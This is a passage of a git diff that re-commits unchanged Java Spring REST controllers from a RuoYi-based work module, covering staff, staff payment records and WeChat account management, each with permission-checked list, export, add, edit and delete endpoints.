*/ - @SaCheckPermission("work:staff:export") - @Log(title = "人员", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpStaffBo bo, HttpServletResponse response) { - List list = tpStaffService.queryList(bo); - ExcelUtil.exportExcel(list, "人员", TpStaffVo.class, response); - } - - /** - * 获取人员详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:staff:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpStaffService.queryById(id)); - } - - /** - * 新增人员 - */ - @SaCheckPermission("work:staff:add") - @Log(title = "人员", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpStaffBo bo) { - return toAjax(tpStaffService.insertByBo(bo)); - } - - /** - * 修改人员 - */ - @SaCheckPermission("work:staff:edit") - @Log(title = "人员", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpStaffBo bo) { - return toAjax(tpStaffService.updateByBo(bo)); - } - - /** - * 删除人员 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:staff:remove") - @Log(title = "人员", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpStaffService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpStaffBo; +import org.dromara.work.domain.vo.TpStaffVo; +import org.dromara.work.service.ITpStaffService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 人员 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/staff") +public class TpStaffController extends BaseController { + + private final ITpStaffService tpStaffService; + + /** + * 查询人员列表 + */ + @SaCheckPermission("work:staff:list") + @GetMapping("/list") + public TableDataInfo list(TpStaffBo bo, PageQuery pageQuery) { + return tpStaffService.queryPageList(bo, pageQuery); + } + + /** + * 导出人员列表 + */ + @SaCheckPermission("work:staff:export") + @Log(title = "人员", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpStaffBo bo, HttpServletResponse response) { + List list = tpStaffService.queryList(bo); + ExcelUtil.exportExcel(list, "人员", TpStaffVo.class, response); + } + + /** + * 获取人员详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:staff:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpStaffService.queryById(id)); + } + + /** + * 新增人员 + */ + @SaCheckPermission("work:staff:add") + @Log(title = "人员", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpStaffBo bo) { + return toAjax(tpStaffService.insertByBo(bo)); + } + + /** + * 修改人员 + */ + @SaCheckPermission("work:staff:edit") + @Log(title = "人员", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpStaffBo bo) { + return toAjax(tpStaffService.updateByBo(bo)); + } + + /** + * 删除人员 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:staff:remove") + @Log(title = "人员", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpStaffService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpStaffPayController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpStaffPayController.java index ad7f1e5..95cc6f8 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpStaffPayController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpStaffPayController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpStaffPayBo; -import org.dromara.work.domain.vo.TpStaffPayVo; -import org.dromara.work.service.ITpStaffPayService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 客服支出记录 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/staffPay") -public class TpStaffPayController extends BaseController { - - private final ITpStaffPayService tpStaffPayService; - - /** - * 查询客服支出记录列表 - */ - @SaCheckPermission("work:staffPay:list") - @GetMapping("/list") - public TableDataInfo list(TpStaffPayBo bo, PageQuery pageQuery) { - return tpStaffPayService.queryPageList(bo, pageQuery); - } - - /** - * 导出客服支出记录列表 - */ - @SaCheckPermission("work:staffPay:export") - @Log(title = "客服支出记录", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpStaffPayBo bo, HttpServletResponse response) { - List list = tpStaffPayService.queryList(bo); - ExcelUtil.exportExcel(list, "客服支出记录", TpStaffPayVo.class, response); - } - - /** - * 获取客服支出记录详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:staffPay:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpStaffPayService.queryById(id)); - } - - /** - * 新增客服支出记录 - */ - @SaCheckPermission("work:staffPay:add") - @Log(title = "客服支出记录", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpStaffPayBo bo) { - return toAjax(tpStaffPayService.insertByBo(bo)); - } - - /** - * 修改客服支出记录 - */ - @SaCheckPermission("work:staffPay:edit") - @Log(title = "客服支出记录", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpStaffPayBo bo) { - return toAjax(tpStaffPayService.updateByBo(bo)); - } - - /** - * 删除客服支出记录 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:staffPay:remove") - @Log(title = "客服支出记录", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpStaffPayService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpStaffPayBo; +import org.dromara.work.domain.vo.TpStaffPayVo; +import org.dromara.work.service.ITpStaffPayService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 客服支出记录 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/staffPay") +public class TpStaffPayController extends BaseController { + + private final ITpStaffPayService tpStaffPayService; + + /** + * 查询客服支出记录列表 + */ + @SaCheckPermission("work:staffPay:list") + @GetMapping("/list") + public TableDataInfo list(TpStaffPayBo bo, PageQuery pageQuery) { + return tpStaffPayService.queryPageList(bo, pageQuery); + } + + /** + * 导出客服支出记录列表 + */ + @SaCheckPermission("work:staffPay:export") + @Log(title = "客服支出记录", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpStaffPayBo bo, HttpServletResponse response) { + List list = tpStaffPayService.queryList(bo); + ExcelUtil.exportExcel(list, "客服支出记录", TpStaffPayVo.class, response); + } + + /** + * 获取客服支出记录详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:staffPay:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpStaffPayService.queryById(id)); + } + + /** + * 新增客服支出记录 + */ + @SaCheckPermission("work:staffPay:add") + @Log(title = "客服支出记录", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpStaffPayBo bo) { + return toAjax(tpStaffPayService.insertByBo(bo)); + } + + /** + * 修改客服支出记录 + */ + @SaCheckPermission("work:staffPay:edit") + @Log(title = "客服支出记录", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpStaffPayBo bo) { + return toAjax(tpStaffPayService.updateByBo(bo)); + } + + /** + * 删除客服支出记录 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:staffPay:remove") + @Log(title = "客服支出记录", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpStaffPayService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatController.java index a9f92fb..b3fd5f5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatController.java @@ -1,146 +1,146 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpWechatBo; -import org.dromara.work.domain.vo.TpWechatVo; -import org.dromara.work.domain.vo.WechatSumVo; -import org.dromara.work.service.ITpWechatService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 微信管理 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/wechat") -public class TpWechatController extends BaseController { - - private final ITpWechatService tpWechatService; - - /** - * 查询微信管理列表 - */ - @SaCheckPermission("work:wechat:list") - @GetMapping("/list") - public TableDataInfo list(TpWechatBo bo, PageQuery pageQuery) { - return tpWechatService.queryPageList(bo, pageQuery); - } - - - /** - * 查询微信统计 - */ - @SaCheckPermission("work:wechat:sum") - @GetMapping("/wechatSum") - public R wechatSum(TpWechatBo bo) { - /*LoginUser loginUser = LoginHelper.getLoginUser(); - if(!LoginHelper.isSuperAdmin()){ - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限查看微信信息"); - } else if (loginUser.getIdentity() == 3) { - bo.setUid(loginUser.getUserId()); - } - }*/ - return R.ok(tpWechatService.queryListSum(bo)); - } - - - /** - * 导出客户微信 - */ - @SaCheckPermission("work:wechat:export") - @Log(title = "导出客户微信", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpWechatBo bo, HttpServletResponse response) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(!LoginHelper.isSuperAdmin()){ - bo.setUid(loginUser.getUserId()); - } - List list = tpWechatService.queryList(bo); - ExcelUtil.exportExcel(list, "客户微信导出", TpWechatVo.class, response); - } - - /** - * 获取微信管理详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:wechat:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpWechatService.queryById(id)); - } - - /** - * 新增微信管理 - */ - @SaCheckPermission("work:wechat:add") - @Log(title = "微信管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpWechatBo bo) { - return toAjax(tpWechatService.insertByBo(bo)); - } - - /** - * 修改微信管理 - */ - @SaCheckPermission("work:wechat:edit") - @Log(title = "微信管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpWechatBo bo) { - return toAjax(tpWechatService.updateByBo(bo)); - } - - - /** - * 修改使用人 - */ - @SaCheckPermission("work:wechat:editUser") - @Log(title = "修改使用人", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PostMapping("/editUser") - public R editUser(@Validated(EditGroup.class) @RequestBody TpWechatBo bo) { - return toAjax(tpWechatService.updateUserByBo(bo)); - } - - - /** - * 删除微信管理 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:wechat:remove") - @Log(title = "微信管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpWechatService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpWechatBo; +import org.dromara.work.domain.vo.TpWechatVo; +import org.dromara.work.domain.vo.WechatSumVo; +import org.dromara.work.service.ITpWechatService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 微信管理 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/wechat") +public class TpWechatController extends BaseController { + + private final ITpWechatService tpWechatService; + + /** + * 查询微信管理列表 + */ + @SaCheckPermission("work:wechat:list") + @GetMapping("/list") + public TableDataInfo list(TpWechatBo bo, PageQuery pageQuery) { + return tpWechatService.queryPageList(bo, pageQuery); + } + + + /** + * 查询微信统计 + */ + @SaCheckPermission("work:wechat:sum") + @GetMapping("/wechatSum") + public R wechatSum(TpWechatBo bo) { + /*LoginUser loginUser = LoginHelper.getLoginUser(); + if(!LoginHelper.isSuperAdmin()){ + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限查看微信信息"); + } else if (loginUser.getIdentity() == 3) { + bo.setUid(loginUser.getUserId()); + } + }*/ + return R.ok(tpWechatService.queryListSum(bo)); + } + + + /** + * 导出客户微信 + */ + @SaCheckPermission("work:wechat:export") + @Log(title = "导出客户微信", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpWechatBo bo, HttpServletResponse response) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(!LoginHelper.isSuperAdmin()){ + bo.setUid(loginUser.getUserId()); + } + List list = tpWechatService.queryList(bo); + ExcelUtil.exportExcel(list, "客户微信导出", TpWechatVo.class, response); + } + + /** + * 获取微信管理详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:wechat:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpWechatService.queryById(id)); + } + + /** + * 新增微信管理 + */ + @SaCheckPermission("work:wechat:add") + @Log(title = "微信管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpWechatBo bo) { + return toAjax(tpWechatService.insertByBo(bo)); + } + + /** + * 修改微信管理 + */ + @SaCheckPermission("work:wechat:edit") + @Log(title = "微信管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpWechatBo bo) { + return toAjax(tpWechatService.updateByBo(bo)); + } + + + /** + * 修改使用人 + */ + @SaCheckPermission("work:wechat:editUser") + @Log(title = "修改使用人", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PostMapping("/editUser") + public R editUser(@Validated(EditGroup.class) @RequestBody TpWechatBo bo) { + return toAjax(tpWechatService.updateUserByBo(bo)); + } + + + /** + * 删除微信管理 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:wechat:remove") + @Log(title = "微信管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpWechatService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatNumController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatNumController.java index 7e4cd95..aa2a762 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatNumController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatNumController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpWechatNumBo; -import org.dromara.work.domain.vo.TpWechatNumVo; -import org.dromara.work.service.ITpWechatNumService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 更新好友数记录 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/wechatNum") -public class TpWechatNumController extends BaseController { - - private final ITpWechatNumService tpWechatNumService; - - /** - * 查询更新好友数记录列表 - */ - @SaCheckPermission("work:wechatNum:list") - @GetMapping("/list") - public TableDataInfo list(TpWechatNumBo bo, PageQuery pageQuery) { - return tpWechatNumService.queryPageList(bo, pageQuery); - } - - /** - * 导出更新好友数记录列表 - */ - @SaCheckPermission("work:wechatNum:export") - @Log(title = "更新好友数记录", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpWechatNumBo bo, HttpServletResponse response) { - List list = tpWechatNumService.queryList(bo); - ExcelUtil.exportExcel(list, "更新好友数记录", TpWechatNumVo.class, response); - } - - /** - * 获取更新好友数记录详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:wechatNum:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpWechatNumService.queryById(id)); - } - - /** - * 新增更新好友数记录 - */ - @SaCheckPermission("work:wechatNum:add") - @Log(title = "更新好友数记录", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpWechatNumBo bo) { - return toAjax(tpWechatNumService.insertByBo(bo)); - } - - /** - * 修改更新好友数记录 - */ - @SaCheckPermission("work:wechatNum:edit") - @Log(title = "更新好友数记录", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpWechatNumBo bo) { - return toAjax(tpWechatNumService.updateByBo(bo)); - } - - /** - * 删除更新好友数记录 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:wechatNum:remove") - @Log(title = "更新好友数记录", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpWechatNumService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpWechatNumBo; +import org.dromara.work.domain.vo.TpWechatNumVo; +import org.dromara.work.service.ITpWechatNumService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 更新好友数记录 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/wechatNum") +public class TpWechatNumController extends BaseController { + + private final ITpWechatNumService tpWechatNumService; + + /** + * 查询更新好友数记录列表 + */ + @SaCheckPermission("work:wechatNum:list") + @GetMapping("/list") + public TableDataInfo list(TpWechatNumBo bo, PageQuery pageQuery) { + return tpWechatNumService.queryPageList(bo, pageQuery); + } + + /** + * 导出更新好友数记录列表 + */ + @SaCheckPermission("work:wechatNum:export") + @Log(title = "更新好友数记录", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpWechatNumBo bo, HttpServletResponse response) { + List list = tpWechatNumService.queryList(bo); + ExcelUtil.exportExcel(list, "更新好友数记录", TpWechatNumVo.class, response); + } + + /** + * 获取更新好友数记录详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:wechatNum:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpWechatNumService.queryById(id)); + } + + /** + * 新增更新好友数记录 + */ + @SaCheckPermission("work:wechatNum:add") + @Log(title = "更新好友数记录", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpWechatNumBo bo) { + return toAjax(tpWechatNumService.insertByBo(bo)); + } + + /** + * 修改更新好友数记录 + */ + @SaCheckPermission("work:wechatNum:edit") + @Log(title = "更新好友数记录", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpWechatNumBo bo) { + return toAjax(tpWechatNumService.updateByBo(bo)); + } + + /** + * 删除更新好友数记录 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:wechatNum:remove") + @Log(title = "更新好友数记录", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpWechatNumService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatUserController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatUserController.java index bafcf22..e587e37 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatUserController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWechatUserController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpWechatUserBo; -import org.dromara.work.domain.vo.TpWechatUserVo; -import org.dromara.work.service.ITpWechatUserService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 微信使用人修改历史 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/wechatUser") -public class TpWechatUserController extends BaseController { - - private final ITpWechatUserService tpWechatUserService; - - /** - * 查询微信使用人修改历史列表 - */ - @SaCheckPermission("work:wechatUser:list") - @GetMapping("/list") - public TableDataInfo list(TpWechatUserBo bo, PageQuery pageQuery) { - return tpWechatUserService.queryPageList(bo, pageQuery); - } - - /** - * 导出微信使用人修改历史列表 - */ - @SaCheckPermission("work:wechatUser:export") - @Log(title = "微信使用人修改历史", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpWechatUserBo bo, HttpServletResponse response) { - List list = tpWechatUserService.queryList(bo); - ExcelUtil.exportExcel(list, "微信使用人修改历史", TpWechatUserVo.class, response); - } - - /** - * 获取微信使用人修改历史详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:wechatUser:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpWechatUserService.queryById(id)); - } - - /** - * 新增微信使用人修改历史 - */ - @SaCheckPermission("work:wechatUser:add") - @Log(title = "微信使用人修改历史", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpWechatUserBo bo) { - return toAjax(tpWechatUserService.insertByBo(bo)); - } - - /** - * 修改微信使用人修改历史 - */ - @SaCheckPermission("work:wechatUser:edit") - @Log(title = "微信使用人修改历史", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpWechatUserBo bo) { - return toAjax(tpWechatUserService.updateByBo(bo)); - } - - /** - * 删除微信使用人修改历史 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:wechatUser:remove") - @Log(title = "微信使用人修改历史", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpWechatUserService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpWechatUserBo; +import org.dromara.work.domain.vo.TpWechatUserVo; +import org.dromara.work.service.ITpWechatUserService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 微信使用人修改历史 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController 